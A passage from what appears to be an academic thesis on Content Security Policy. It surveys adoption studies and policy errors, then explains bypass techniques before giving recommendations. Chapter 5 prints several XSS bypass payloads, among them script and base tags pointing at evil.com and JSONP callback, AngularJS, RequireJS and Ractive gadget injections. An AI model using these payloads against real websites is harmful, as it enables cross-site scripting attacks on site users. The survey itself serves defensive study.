three times more pervasive than in 2016. Continuous improvements of the Content Security Policy
standard like the introduction of ’strict-dynamic’ have a positive effect on the further distribution
of CSP.
A study of 2016 by Wechselbaum et al. [48] used the Google index to collect CSP headers. The
index contained 106 billion unique URLs also including URLs which belong to the same host.
After filtering the result, 1,664,019 CSP policies which correspond to 0.16% were found. The found
policies were normalized by deduplication and other techniques which resulted in 26,011 unique
policies. This study is more comprehensive in comparison to the observation of the Alexa Top 1M.
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The Google index contains most of the available websites on the internet and can be seen as a state
of the web [48]. The comparison of the CSP adoption rate in 2016 for Alexa Top 1M (0.81%) and
the Google index (0.16%) indicates that popular websites are more likely to implement a CSP.
4.2.2 Usage of CSP
The Content Security Policy has different use cases but the main goal is the mitigation of cross-site
scripting attacks. To investigate how CSP is used, the policies are analyzed in detail. An important
characteristic is the use of enforcement or report-only mode to secure a web site. Figure 4.1 shows
the result of the study by Calzavara et al. [5]. The pie chart includes all websites in Alexa Top 1M
which delivered a CSP - exactly 8,133 web pages.
Figure 4.1: CSP mode distribution of Alexa Top 1M
Due to the use of content management systems or development frameworks a lot of webpages
implement a default policy. A major part of all policies can be mapped to content management
systems which are used to develop e-commerce applications. The policies included in these websites
are in most cases identical and run in report-only mode. Only 39.6% of all policies use CSP in
enforcement mode which is different from 2014 where 95.8% of all websites enforced the policy
[34]. A small subset runs in both modes mostly due to enforcing a regular policy and monitoring a
stricter one to observe possible violations without blocking functionality.
4.2.3 Header analysis
The collected headers during the study by Calzavara et al. [5] and Wechselbaum et al. [48] are
analyzed to understand how CSP is used on the web. The policies are examined in detail to confirm
the statement that CSP is used as protection against cross-site scripting. Figure 4.2 shows the used
directives out of 26,011 unique policies found by Wechselbaum et al. [48].
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Figure 4.2: Distribution of directives among 26,011 unique policies [48]
Nearly every policy includes a script-src and/or default-src directive which is about 86.78%
and 85.71%. These directives are used to defend against XSS attacks which result in the assumption
that the major part of the policies are meant as protection against cross-site scripting. As mentioned
about the threat model, CSP also offers protection against clickjacking with the help of the
directive frame-ancestors. The directive is used in 8.12% of all policies. Another threat model
of CSP is the blocking of mixed content by using the directives upgrade-insecure-request and
block-all-mixed-content which are present in 1.88% and 1.20% of the policies. Inferring from
this observation and the fact that 90.04% of the policies run in enforcement mode, it is clear that
the Content Security Policy is meant and used as a protection against cross-site scripting. The
differences in the distribution of enforcement and report only mode between the studies [5] and
[48] is explained by the common use of frameworks in popular web applications shipping a default
report-only policy.
A huge security problem for web applications is the use of inline scripts. Calzavara et al. [5]
focused on CSP headers from 8,133 distinct websites to examine the occurrence of inline elements.
The analysis was performed on 3,220 websites where the policies run in enforcement mode. More
than half of these websites use ’unsafe-inline’ in their directives which should be replaced with
nonces and hashes. Through the introduction of these mechanism the whitelisting of individual
inline scripts is simplified but half of the policies still include ’unsafe-inline’. Table 4.3 shows the
use of ’unsafe-inline’, ’unsafe-eval’, nonces and hashes for script-src and style-src directives
by focusing on 3,220 websites.
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script-src style-src
’unsafe-inline’ 1,669
51.83%
1,564
48.57%
’unsafe-eval’ 1,680
52.17%
126
3.91%
Hashes 48
1.49%
2
0.06%
Nonces 37
1.15%
0
0%
Table 4.3: Use of inline elements, nonces and hashes on 3,220 websites
These values demonstrate that the majority of web developers are still not aware of the risk when
using inline scripts in web applications. Due to the difficulty of removing inline scripts to external
sources the introduction of nonces and hashes was an important improvement of CSP. Indeed, the
adoption of these mechanisms is still limited. About 50% of all policies include ’unsafe-inline’ or
’unsafe-eval’.
An important feedback and support in security is the directive report-uri. Violations of a policy
are logged into the JavaScript console but remain mostly undetected for the host of a website. By
using report-uri a JSON file with all information about the violation is reported to the specified
URL. Only 694 (21.55%) out of 3,220 websites specify a report-uri though these are only websites
in enforcement mode [5].
4.3 Changes in CSP Deployment
To obtain full protection of CSP a policy has to keep up with changes on the website. Newly added
resources should be whitelisted and tested in case of blocked functionality or security vulnerabilities.
This task is time consuming, especially on complex web applications. An observation how the
adoption of CSP and the policies themselves have changed over time was accomplished by Calzavara
et al. [5]. By crawling the Alexa Top 1M websites every week from March to June 2016, CSP
headers of the websites were collected and analyzed.
4.3.1 Website Adoption
The changes in CSP adoption were monitored for 12 weeks. During this period some websites
applied a policy to the response header while others removed their policy. If a website adopts CSP
during the crawl it is called a committment and if a website removes CSP during the crawl it is
called an abdication. Figure 4.3 shows the number of websites which committed and abdicated
CSP during the weekly crawl. In every week there are up to eight times more commitments than
abdications. This observation matches the previous statement in section 4.2 that the deployment
rate of CSP is constantly growing.
During the observation period, 931 committing and 268 abdicating websites were found in total.
Summarized, there were 663 more websites using a Content Security Policy than 12 weeks before.
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Figure 4.3: Committing and abdicating websites during weekly crawls [5]
The fact that websites abdicate from CSP has different reasons. Badly implemented policies
can result in errors by just visiting a website without any further action which is called persistent
CSP violation. If the directive report-uri is used as well, the host receives a CSP violation report
every time the website is visited. In the proposed experiment 79 (29.48%) out of the 268 abdicating
websites triggered a violation by visiting the page. Also, the effort to refactor a web application
in compatibility to CSP is high. This might be reasons for web developers to remove the Content
Security Policy from their website.
An important observation was the difference between the use of enforcement and report-only
mode during the crawls. A common way of implementing a CSP is to run the created policy in
report-only mode to detect possible violations triggered by users and ensure a problem-free use of
the website. After a test phase in report-only mode, the policy is switched to enforcement mode to
gain full protection. Over 12 weeks, 26 websites changed from report-only to enforcement mode
while 6 websites changed the other way.
Another relevant aspect of the analysis were websites which used CSP temporarily. Overall 2,862
websites temporarily enforced and removed CSP between the 12 weeks. The reason for this large
number is due to a blogging service called Blogger which owns 2,675 (90.0%) out of the 2,862
websites. Their Content Security Policy included only the directive upgrade-insecure-request
which forces the browser to use HTTPS. After the transition of the websites to full HTTPS support
the policy was removed.
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4.3.2 Changes in Policies
Due to dynamic elements and many changes in modern websites, the Content Security Policy
should be updated regularly. Adding new elements without whitelisting the sources results in
reduced functionality, while implementing a too lax policy results in possible security vulnerabilities.
Calzavara et al. [5] analyzed the changes in headers while the focus lies on 2,784 websites which
run in enforcement mode during the 12 weeks.
Figure 4.4: Number of changes to policies during weekly crawls [5]
Most out of the 2,784 websites never changed their policy which holds true for 1,855 (66.63%) of
the web pages. Figure 4.4 shows that 929 websites had at least one or more changes in their policy.
The vast majority of the sites made up to three changes in 12 weeks. The ones which made changes
in their policy on a almost weekly basis are pornographic websites. The whitelisted content in their
policies are random strings. These strings represent hostnames where the content of these pages is
stored and are changed regularly maybe due to legal reasons.
An important part to keep a Content Security Policy safe is to avoid the keywords unsafe-inline
and unsafe-eval. In the observed period of time 16 websites added at least one dangerous expression
to their policy. Only 6 websites removed unsafe-inline and replaced it with nonces or hashes or
dropped unsafe-eval. Also, 2 websites removed unsafe-inline but added it back to their policy
after some time, possibly because of functionality problems. The negative trend of these practice
results in potential security vulnerabilities for the policies and accordingly for the whole web
application.
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A reason why developers abdicate from using a Content Security Policy can be persistent CSP
violations. The analysis reveals 322 violations which were found in 241 websites. Only 190
(78.83%) used the report-uri directive so the violations remain most likely undetected. The
developer of the other 51 (21.16%) web pages may be unable to fix the problem due to missing
knowledge or the complexity of the website. Even if the impact of the violations mostly triggered
by inline styles are rather minor, such errors might be subject to vulnerability.
4.4 Errors in Policies
A Content Security Policy must be specified correctly to be enforced. When adding a policy
to the response header of a webpage the developer gets no feedback if the defined CSP works
flawlessly. The visitor of the page receives a warning in the console if the policy contains unknown
directives or incorrect hostnames. Without testing the specified policy or making use of report-uri,
a possible error may remain undetected.
Calzavera et al. [5] collected the CSP headers from the Alexa Top 1M and analyzed the Content
Security Policies in the scope of errors. The found misconfigurations are divided into three
categories:
1. Syntactic errors: This case includes typos where the intention of the developer is clear
but the policy contains misspelled directives and source expressions or misused punctual
symbols.
2. Semantic errors: Such policies contain errors and are difficult to fix. The intention of the
developer is unclear due to multiple possible interpretations.
3. Harsh policies: These kind of policies are also semantic errors but belong to the class of
persistent CSP violations which trigger a violation upon visiting the website.
4.4.1 Syntactic errors
Syntactic errors result in a warning message printed in the console and remain mostly undetected.
Unknown directives are ignored by the browser which may result in deteriorated security. Listing
4.1 shows an example of a wrongly defined directive. The intention of this policy is to allow script
execution only from the same origin. Due to the typo in scriptsrc which misses a hyphen, every
script can execute because the directive is ignored.
1 content-security-policy: scriptsrc 'self';
Listing 4.1: Policy including a syntactic incorrect directive
Wrongly spelled source expressions result in whitelisting an unknown host and blocking the
actually intended resource. Listing 4.2 shows an example of a ill defined source expression. The
keyword self has to be mapped between single quotes to operate as placeholder for the origin of
the document. In this case, the style source is limited to a host called self while stylesheets from
the same origin are blocked. In general, such policies are more restrictive than intended but the
usability of the website may be worsen.
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1 content-security-policy: style-src self;
Listing 4.2: Policy including a syntactic incorrect source expression
The analysis by Calzavara et al. [5] contained 5 policies including wrongly defined directives.
Some of these CSPs are similar to the example mentioned in listing 4.1. A more critical error is
report-uri/csp-report. Due to the wrong use of the directive it is ignored and violations are never
reported. Attacks and policy issues remain undetected and the author of the policy may think the
policy is working in a correct way.
The misuse of punctuation symbols is also a popular error in policies [5]. Some examples are
default-src: ’self’ or default-src=self. Such directives are skipped by the browser which
makes the policy more liberal and susceptible to attacks.
4.4.2 Semantic errors
This kind of error occurs when a policy contains a wrongly used directive or source expression
which makes the intention of the policy unclear. Such cases are hard to fix without knowing the
original purpose. Only 6 websites contained semantic errors [5]. Listing 4.3 shows the poor defined
policy.
1 content-security-policy: script-src a.com b.com; c.com
Listing 4.3: Policy including a semantic error
This policy allows inclusion of scripts from a.com and b.comwhile c.com is interpreted as directive
and is therefore ignored. The intention of this policy remains unclear but there are two possible
interpretations:
1. The host c.com belongs to the script-src directive and the developer misplaced the semicolon
or inserted c.com somewhen later. This case would make the policy more restrictive due to
the blocking of scripts from c.com.
2. The host c.com belongs to a missing directive which the developer forgot to insert. This case
would make the policy more liberal because the loading of resources for this directive is not
only restricted to c.com but to any source.
An unusual policy was detected in 50 websites where the only content was the character *. Such
a CSP is equal to missing the complete content-security-policy header. All of these websites
were developed using the framework ASP.NET and are caused by a not configured CSP support.
Finally, 22 websites which repeated the same directive multiple times [5]. If the same directive is
defined more than once, the first occurrence is enforced while the others are ignored. Such policies
are not only a security risk but also an indication that the developer is not aware of the syntax of
CSP.
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4.4.3 Harsh policies
During the header analysis, 553 (17.17%) out of 3,220 websites triggered at least one CSP
violation by just visiting the site [5]. User interaction on the website may trigger more violations.
Only 414 (74.86%) of these websites make use of the directive report-uri so the violations remain
mostly undetected. During the crawl of 3,220 websites, a total of 921 violations were found. Table
4.4 shows the number of violations for different causes.
Type of violation # Violations # Websites
inline scripts 12 9
inline styles 82 80
eval 6 6
data: or blob: 43 33
remote inclusion 778 441
Table 4.4: CSP violations found in 3,220 websites
The violations for inline scripts were mostly caused by advertisement or third-party functionalities.
Inline style elements are mostly smaller styles for simple optical appreciation. The cases which
blocked the use of eval were due to encoding of a string and some of them related to external
libraries. The violations of data: or blob: blocked images and fonts which probably remained
undetected.
Some violations were triggered by remote inclusion. This case occurs if websites try to load non
whitelisted content. In detail, 232 (29.82%) out of 778 violations were caused by hostnames like
google, gstatic or doubleclick which are owned by Google.
Another reason for violations is mixed content. HTTPS websites request data over HTTP which
is blocked by CSP. If a policy includes a host like example.com and the page is deployed on a HTTPS
page, content transferred via HTTP is blocked. Also, in some policies the host name distinguishes in
the use of the www prefix. The hosts http://example.com and http://www.example.com are different
origins and trigger a violation if one tries to access the other.
4.5 Browser extensions versus CSP
Browser extensions are plug-ins that extend the functionality of a web browser. Hausknecht et al.
[19] analyzed 25,825 browser extensions from the Google Chrome store to investigate the effect on
security, in particular with CSP. Only 0.17% of all extensions modify CSP and mostly relax the
policy to load non whitelisted resources. Such modifications potentially weaken the security and
result in different vulnerabilities. All of the following cases caused by browser extensions can be
mitigated by a well defined policy:
1. The inclusion of third party code weakens the security of a web application [33]. The injected
code is out of control of the page due to the removal of CSP.
2. Some extensions directly insert expressions like ’unsafe-inline’ to execute code. This
behavior removes any XSS protection and disables CSP as defense-in-depth mechanism.
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3. A few extensions add content to track the user’s movement. Some of these extensions added
Google Analytics to every website.
A small part of browser extensions modifies the policy of a web page. The impact on security,
depending on the changes is different. Additional resources are whitelisted and untrusted code is
embedded in the website. Such a modification is always subject to risk.
The Content Security Policy may block functionalities of browser extensions which often rely
on communication with other services or execution of own scripts. If basic functionalities are
blocked by CSP the extension is useless. The consequence is the removal of complete policies and
abdication from CSP as a security mechanism.
4.6 Analysis results
Several studies [5, 34, 48, 51] reveal the current state of the Content Security Policy on the
web. The use of CSP is increasing since 2014 and the relation between committing and abdicating
web sites is positive. Indeed many real world policies are insecure due to the use of unsafe
source expressions or syntactic and semantic errors. Such difficulties can be addressed by a better
exploitation of the risk using specific keywords and an easier way to make a web application CSP
compatible. An improvement in these topics would help to adopt a Content Security Policy for a
web application.
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Hacking attacks on security mechanisms are reported on a daily basis. The Content Security
Policy has some weaknesses which are proposed in this chapter. Several bypasses are explained
which allow the execution of code despite a well implemented CSP. The security impact on policies
vulnerable to the following bypasses is analyzed and reveals a clear result.
5.1 CSP Bypasses
The prevention of content injection and script execution has the highest importance when defining
a policy. If an attacker is able to execute code, other directives are bypassed as well. A policy
without directives to prevent the execution of scripts benefits little from adopting CSP. The following
directives should be used in every policy which is the basis to prevent cross-site scripting:
1. The directives script-src and object-src have to be defined as an effective protection.
object-src is as important as script-src due to the possible execution of code in the context
of plugins like Adobe Flash.
2. The directive default-src has to be defined in the absence of script-src and object-src
and should not be less restrictive than the other directives.
Also, the definition or use of unsafe source lists or keywords reduces the security as well. The
following three bypasses for weak policies are proposed by Wechselbaum et al. [48]:
1. If the policy contains neither script-src nor object-src and misses default-src the policy
is bypassed by a simple script or object tag including malicious code. Schemes as http: or
https: are dangerous as well because the restriction on a scheme does not prevent loading
scripts from defective websites. Listing 5.1 shows a bypass for a policy which does not
contain the mentioned directives.
1 <script src="http://evil.com"></script>
2
3 <object data="http://evil.com/evil.swf">
4 <param name="allowscriptaccess" value="always">
5 </object>
Listing 5.1: Bypass for a policy without basic directives
2. The use of the keyword unsafe-inline is not recommended [10]. The directive script-src
should not contain the general wildcard * or data schemes especially in combination
with URLs. Listing 5.2 shows a bypass for a policy which does not meet the mentioned
requirements.
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1 <img src="x" onerror="evil()">
2
3 <script src="data:text/javascript,evil()"></script>
Listing 5.2: Bypass for unsafe-inline and data:
3. The source list of the directives script-src and object-src has to stay clear of unsafe
endpoints. Listing 5.3 shows a bypass for unsafe endpoints in script-src.
1 <script src="/api/jsonp?callback=evil()"></script>
2
3 <script src="angular.js"></script> <div ng-app> {{evil()}} </div>
Listing 5.3: Bypass for unsafe endpoints
The proposed conditions are important to define a effective policy against script execution.
Disregarding these requirements results in no protection against XSS. Non-script directives might
be a protection against post XSS [53] or scriptless attacks [21] but they improve the security only if
the policy already offers a effective protection against cross-site scripting.
5.2 Bypasses on whitelisted content
The security concept of CSP is based on whitelisting resources which are supposed to be safe. A
problem occurs if the whitelist includes an unsafe endpoint. This results in increased chances for
an attacker to manipulate the response of such endpoints. The following sections present several
bypasses by making use of specific whitelisted content. If the directives script-src or object-src
contain unsafe endpoints which allow an attacker to modify parts of the response or make use of
deprecated libraries, CSP can be bypassed. The result of a minichallenge (hack a CSP protected
website) in 2015 demonstrates the weakness of unsafe endpoints [17].
5.2.1 Injection of base
The <base> tag specifies the base URL for all relative URLs in a document. The tag must be
inside the <head> element and can occur at maximum one time. Re-basing of nonced script to
an attacker controlled website can lead to the execution of malicious code. Listing 5.4 shows the
bypass for a nonced script [39].
1 // injected base tag
2 <base href="http://evil.com">
3
4 // original document
5 <script src="foo/bar.js" nonce="FAW8eL4.."></script>
Listing 5.4: Bypass for nonced scripts
The <base> attribute modifies the base URL to evil.com and the script source changes to
evil.com/foo/bar.js. The script executes because of the valid nonce inside the script tag. A
solution to prevent this bypass is simple: The directive base-uri specifies valid base sources. A
policy including base-uri: ’none’ prohibits the use of <base> tags.
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5.2.2 JSONP interface bypass
A JSONP interface is used to retrieve data while crossing domain boundaries because such
requests are usually blocked by the same-origin policy. This limitation is canceled when used
inside <script> tags but in most cases, it is difficult to process the result because the script executes
without a callback. By using JSONP the result can be wrapped up in a function for further handling.
Listing 5.5 shows an example of a JSONP request and the response of the server.
1 // JSONP request
2 <script type="application/javascript"
3 src="http://example.com/jsonp?callback=myFunction">
4 </script>
5
6 // server response without JSONP
7 {"foo": "bar", ..}
8
9 // server response with JSONP
10 myFunction({"foo": "bar", ..})
Listing 5.5: JSON request and response
The request uses the parameter callback to invoke the JSONP interface on the server. Instead
of returning a regular JSON object the result is passed as a parameter to the callback function
myFunction.
If a policy contains awhitelisted JSONP endpoint it is possible to bypass CSP [1, 48]. The directive
of a policy is defined as script-src ’self’ http://example.com. The site http://example.com
hosts a JSONP endpoint which is invoked as described in Listing 5.5. By inserting JavaScript code
instead of a function name for the parameter callback, the code is executed. Listing 5.6 shows an
example of a request to bypass CSP as an attacker-controlled callback [1, 44].
1 <script type="application/javascript"
2 src="http://example.com/jsonp?callback=alert("bypass")">
3 </script>
Listing 5.6: Bypass CSP using JSONP
5.2.3 Path restrictions bypass
Since CSP Level 2 it is possible to specify paths on a whitelisted host. This allows refining the
access to scripts and other resources in detail, for instance http://example.com/foo/bar. Listing
5.7 shows a policy containing a source list entry making use of a path.
1 content-security-policy: script-src http://example.com
2 http://path-example.com/foo/bar.js;
Listing 5.7: CSP with path restriction
If a whitelisted host contains a redirector (an endpoint which returns a HTML 30x code) it is
possible to load any resource from another path restricted host. The path restriction does not work
for cross-origin redirects and is therefore not a trusted security mechanism in CSP. In this example,
it is possible to load a script from http://path-example.com by the following code [48]
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1 <script src="http://example.com?
2 redirect=http://path-example.com/evil/evil.js">
3 </script>
Listing 5.8: Bypass CSP path restrictions
Figure 5.1 demonstrates the process of the bypass. The website example.com redirects to
path-example.com and after that the path restriction is ignored. Therefore execution of non
whitelisted scripts on path-example.com is possible.
Figure 5.1: Visualization of the path restriction bypass
5.2.4 Script gadgets
Parts of JavaScript code inside an application’s code base are called script gadgets. The
development of new frameworks and APIs encourages new ways of content injection. Lekies et al.
[27] propose an approach to bypass existing XSS mitigation techniques by using such script gadgets
to execute code.
The attacker injects benign-looking HTML elements in the web application. XSS protections
ignore markup code and the attacker tries to match the DOM selector of the gadget by inserting the
HTML. The script gadgets in the website fetch the injected content and at some point during the
web application lifetime, the content is transformed into executable code. Several JS libraries are
vulnerable to such attacks, for instance AngularJS.
The AngularJS library is a popular framework to implement single-page web applications.
Angular uses some functions which are prohibited by CSP like eval(). To tackle this issue a CSP
compatible mode (ng-csp) is available so the evaluation of expressions is not performed by eval()
but rather with symbolic execution which CSP can not block. Hence, it is possible to execute
malicious JavaScript code despite the presence of CSP.
The application itself does not have to make use of Angular. Only one whitelisted resource in
the script-src directive has to include the AngularJS library and a bypass is possible. Due to the
common use of Angular, the bypass threatens many policies. Listing 5.9 shows a bypass for a policy
which whitelists http://example.com in the directive script-src [13].
1 <script src="http://example.com/angularjs/1.1.3/angularjs.min.js">
2 <div ng-app ng-csp id=p ng-click=$event.view.alert('bypass')>
Listing 5.9: Bypass CSP using AngularJS
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Due to the use of ’strict-dynamic’ it is allowed that trusted code creates new script elements
programmatically. The analysis of Lekies et al. [27] reveals that 11 out of 16 investigated JavaScript
frameworks contain gadgets which are used to create and insert script elements with the controlled
body or src attributes. Listing 5.10 shows a bypass in RequireJS 1 for the keyword ’strict-dynamic’
[27].
1 <script data-main='data:1,alert(1)'></script>
Listing 5.10: Bypass ’strict-dynamic’ with RequireJS gadget
The attribute data-main in RequireJS generates a new script element while the source of the script
is ’data:1,alert(1)’. The library RequireJS is whitelisted and all descendants of itself including
the proposed code are trusted as well. The execution of the code is possible and CSP is bypassed.
Nonces are a well working solution to whitelist individual inline script. The use of nonces in CSP
is recommended in Wechselbaum et al. [48]. Listing 5.11 shows a bypass for a strong nonce-based
policy [27]. The nonce value is exfiltrated and passed into a executable script. Expression parsers
in specific libraries create a runtime environment that allows an attacker to obtain a window object
reference and execute malicious JavaScript. If such libraries do not make use of eval() or create
new script elements, CSP is not able to detect and block them. The proposed bypass abuses a gadget
in the library Ractive 2.
1 <script id='template' type='text/ractive'>
2 <iframe srcdoc='<script
3 nonce={{@global.document.currentScript.nonce}}>
4 alert(document.domain)
5 </{{}}script>'>
6 </iframe>
7 </script>
Listing 5.11: Bypass for a nonce-based policy
The proposed bypasses for ’strict-dynamic’ and nonces are feasible if the required libraries are
available. Thus, nonces and ’strict-dynamic’ are not inherently insecure. Such attack vectors are
not only a risk for CSP. Script gadgets are omnipresent in modern web applications and come in
different variations. Possible solution approaches are discussed in Lekies et al. [27].
5.3 Security against XSS
Several bypasses for the Content Security Policy show that some directives and source list entries
enable content injection. The proposed bypasses are a threat to existing policies. As shown in
section 4.2, many websites make use of ’unsafe-inline’ or miss important directives. In this
chapter, the security impact on such policies is examined.
1http://requirejs.org/
2https://ractive.js.org/
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5.3.1 Insecure policies
Due to the presented bypasses the found policies by Wechselbaum et al. [48] are investigated to
find out if they offer any protection against XSS. Such policies are a direct security risk for websites.
The investigation if a web application is secured against XSS is not a topic of this work and is still
an open research challenge due to automatic analysis of XSS sanitization in web applications [37,
50]. Instead, the focus lies on the protection and effectiveness of CSP against cross-site scripting.
To identify weak policies, some definitions are introduced to define if a policy offers any protection
against cross-site scripting. A policy matching any of these conditions is declared vulnerable:
1. The policy misses the following directives: script-src, object-src and in their absence
default-src. Listing 5.1 shows the corresponding bypass.
2. The directive script-src is specified but contains ’unsafe-inline’, URI schemes (http:,
https:), the general wildcard * or data: schemes. Nonces and hashes are not included as
well. Listing 5.2 shows the corresponding bypass.
3. The source list for the directive script-src contains unsafe endpoints. The listings in
section 5.2 show the corresponding bypasses.
The study by Wechselbaum et al. [48] gathered data from 26,011 unique policies which were
proposed previously. Table 5.1 shows the distribution of several directives and source expressions in
this data set. In this data set, 94.72% of 26,011 policies are vulnerable to cross-site scripting attacks
when applying the proposed bypasses, except the bypasses for nonces and ’strict-dynamic’. Some
of these policies are running in report-only mode or are not intended to be a protection against XSS
but these policies affect the result by only 0.1% [48].
Bypass category Affected
policies
Unsafe inline 21,947
84.38%
Missing object-src 3,131
12.04%
General wildcard * 5,753
22.12%
Unsafe endpoint 19,719
75.81%
Bypassable in total 24,637
94.72%
Table 5.1: Bypassable policies
The use of ’unsafe-inline’ is not recommended and is still present in 84.38% of all policies.
Such a high number can be explained by the difficulty for developers to make web applications CSP
compatible (removing inline scripts and styles) or not being aware of the security risk adopting
this keyword. The missing of the directive object-src in 12.04% or use of the general wildcard *
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in 22.12% of all policies results in no protection from XSS. Unsafe endpoints are used in 75.81%
but this number is difficult to reduce due to the large number of whitelisted hosts in complex web
applications.
An observation about the usage of script-src is proposed by Wechselbaum et al. [48]. The
directive script-src is analyzed in context of the used source expressions. Table 5.2 shows the
result. As mentioned before, unsafe expressions like ’unsafe-inline’ are used by the majority of
the sites while nonces and hashes are included by about 1%. This distribution is another argument
for the insecurity of most websites policies.
script-src value Usage
’self’ 90.95%
’unsafe-inline’ 87.26%
’unsafe-eval’ 81.65%
Nonces 0.92%
General wildcard * 1.18%
Wildcard in host name 69.59%
Path in host name 6.92%
SHA-256 Hash 1.65%
SHA-384 Hash 0.04%
SHA-512 Hash 0.01%
Table 5.2: Source expressions in script-src
5.3.2 Insecure whitelists
As mentioned in section 5.2, an attacker is able to inject content if a whitelisted host contains
unsafe endpoints like JSONP interfaces or AngularJS libraries. Only one of all whitelisted hosts has
to contain an unsafe endpoint to make a policy useless against XSS. Figure 5.2 shows the number of
CSPs and whitelisted domains. Most of the policies contain small whitelists.
Many whitelisted domains result in a possible weakness against content injection. Figure 5.3
shows the correlation of bypasses and the number of whitelisted domains. Policies with a large
number of whitelisted domains are more likely to be bypassed. Short whitelists ensure better
protection but even websites with 10 whitelisted domains, more than 90% are bypassable. The most
often occuring websites in whitelists from all collected CSPs were sites like google-analytics,
googleapis or gstatic [48]. Many of these web pages contain JSONP endpoints or include unsafe
libraries. Unfortunately, 12 out of the 15 most used websites are fully bypassable applying the
proposed approaches.
This result is in conflict with the concept of CSP which is based on whitelisting trusted sources.
Whitelisting a large number of domains results in possibly no protection against XSS. Changes in
the web application require an adjustment of the policy which is a time-consuming and nontrivial
task.
53
5 Attacks on Content Security Policies
Figure 5.2: Number of CSPs in correlation to whitelisted domains [48]
A solution to tackle this problem is presented by Wechselbaum et al. [48] by introducing the
keyword strict-dynamic. Individual scripts are accompanied with a nonce and their descendants
are allowed to execute. This approach decreases the size of the whitelist and simplifies updates in
the policy when the web application is changed.
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Figure 5.3: Correlation between bypasses and number of whitelisted domains [48]
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6 Improving Content Security Policy
The ineffectiveness of the vast majority of all policies against cross-site scripting is a reason to
improve the existing concept of CSP. Authors of a policy should also avoid bad practices which
result in useless CSPs against content injection. Specific keywords and tools help to build a secure
policy.
6.1 Good and bad practices
A general advice to build a secure CSP is difficult due to the individuality of a software system,
but certain security is granted by avoiding bad practices. The definition of a effective policy requires
maximum restrictions of resources without interfering functionality. The following points must be
avoided if the policy is meant as a XSS protection:
• Using inline scripts without nonces or hashes results in no protection against XSS and must
be avoided. Listing 5.2 bypasses policies containing expressions like ’unsafe-inline’.
• Missing of script-src or object-src and in their absence default-src. Such policies are
bypassed by injecting a script or object tag including malicious code.
• Long whitelists correlate with possible bypasses due to unsafe endpoints, as shown previously.
The keyword ’strict-dynamic’ tackles this problem.
Inline scripts are one of the top security vulnerabilities in CSP. The approach using nonces and
hashes is not widespread so far. A nonce based policy offers protection against the abuse of JSONP
endpoints. An attacker could inject the following code:
1 <script nonce="randomString"
2 src="http://example.com/jsonp?callback=myFunction">
3 </script>
Listing 6.1: Attacker injected JSONP bypass
Even if an attacker is able to insert the script, the nonce value is unpredictable and the script can
not execute. Therefore a bypass is not possible.
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6.2 Is strict-dynamic the future of CSP?
Maintaining long whitelists in combination with an effective protection against XSS is impractica-
ble due to unsafe endpoints and a high effort to keep policies up to date in complex web applications,
see figure 5.3. Wechselbaum et al. [48] propose the keyword ’strict-dynamic’ as a solution and
present a case study adopting the keyword in a web application.
In a case study from 2015, the keyword ’strict-dynamic’ was integrated into Google Maps
Activities [48]. The application has 4 million active users per month and is based on JavaScript.
The original policy consisted of many whitelist entries also including JSONP endpoints which make
the CSP useless against content injection. By adopting ’strict-dynamic’, the authors state that the
adoption process is more easy to enforce than maintaining long whitelists and code refactoring. The
case study is a practical example of the use of ’strict-dynamic’ and the resulting advantages.
The keyword ’strict-dynamic’ is a step in the right direction. Difficulties concerning dynamically
added scripts and maintaining long whitelists are removed. The use of ’unsafe-inline’ and other
unsafe expressions might decrease when adopting ’strict-dynamic’. Bypassing JSONP endpoints
is not possible anymore because the attacker can not inject a valid script calling a JSONP interface
without knowing the correct nonce value.
The keyword ’strict-dynamic’ helps to deploy a policy even if the existing web application is
complex. By using only nonce based scripts the security is improved. Web developers still have to
be aware of some points:
• The risk of injections into src-attributes of dynamically created scripts remains. The
injection of malicious code into a URL passed to the src-attribute of a script created via
createElement() is possible while in contrast a CSP based on a whitelist does not allow such
an attack.
• Not every browser supports ’strict-dynamic’. Table 4.1 shows the browser support and the
required version.
• The bypass in listing 5.10 is feasible in most cases. Making use of script gadgets can result in
a bypass for ’strict-dynamic’.
Besides the positive influence on CSP, listing 5.10 shows a bypass for ’strict-dynamic’. The
proposed bypass relies on script gadgets which are omnipresent in modern web applications [27].
Developer should be aware of the possible risk when using ’strict-dynamic’ yet it is the most
promising alternative when using CSP.
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6.3 CSP Tools
Many types of research about CSP published software tools to detect possible vulnerabilities
in policies, automatically generate a CSP or check the security of the policy [15, 19, 23]. Such
tools can prevent prominent errors and bad practices. As shown previously, many developers have
problems defining a secure policy. The proposed tools assist the development of a well-working
solution for CSP.
Google CSP Evaluator checks if Content Security Policies guarantee strong protection against
XSS [15]. The tool assists the review process of a policy, explaining details about the security of
single directives or keywords. Also, popular bypasses and their corresponding security risk are
included in the analysis of the tool [48]. The CSP Evaluator is a help for developer to improve their
policy and secure their web application.
Mechanism to endorse CSP modifications Hausknecht et al. [19] investigated the tension
between CSP and browser extensions. The large-scale study revealed that many browser extensions
modify the CSP due to blocked functionalities. They propose an endorsement mechanism which
allows browser extensions and servers to amend the Content Security Policy on the fly.
PreparedJS Johns [23] identified three security issues concerning CSP: Insecure server-side
assembly of JavaScript code, lack of control over external whitelisted scripts and injection of further
script tags. The developed framework, PreparedJS addresses these problems by using a script
template mechanism with checksums to allow a more precise control via whitelisting specific scripts.
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7 Conclusion
The real-world adoption of CSP is increasing but still behind the expectations of the security
community [5, 34, 48, 51]. Only 2.37% out of the one million most popular websites deploy a
policy. The problem of CSP is not only the adoption rate but the security of the mechanism in the
real world. Misconfigured policies and errors result in developers abdicating from CSP and a minor
protection against content injection. By applying the proposed bypasses, 94.72% of the websites
using CSP offer no protection against content injection [48]. This percentage does not include all
proposed bypasses, so the real number is even higher. Several reasons aggravate the successful use
of a Content Security Policy:
1. Developer trade functionality for security. The effort to make a web application CSP
compatible is too high.
2. The knowledge of developers about the correct use of CSP is limited and useful feedback for
developers is missing. The proposed errors and use of insecure keywords prove this statement.
3. CSP is based on whitelisting content which is hard to realize in complex web applications.
Also, the correlation between bypassing a policy and a comprehensive whitelist exists.
4. Bypasses for several directives and source expressions prevent a real security benefit of CSP.
The vast majority of all policies is vulnerable.
5. Script gadgets in many modern frameworks enable CSP bypasses. Patching these gadgets in
frameworks is problematic and sometimes harder to find than an XSS flaw [28].
The intention of CSP to mitigate cross-site scripting is not achieved due to errors in policies,
the number of possible bypasses and adoption rate on websites. The introduction of the keyword
’strict-dynamic’ is a step in the right direction by tackling the problem of long whitelists and use
of inline scripts. Together with a strict nonce based policy, Wechselbaum et al. [48] expect more
security benefits and easier deployment processes. Though, the introduction of script gadgets is a
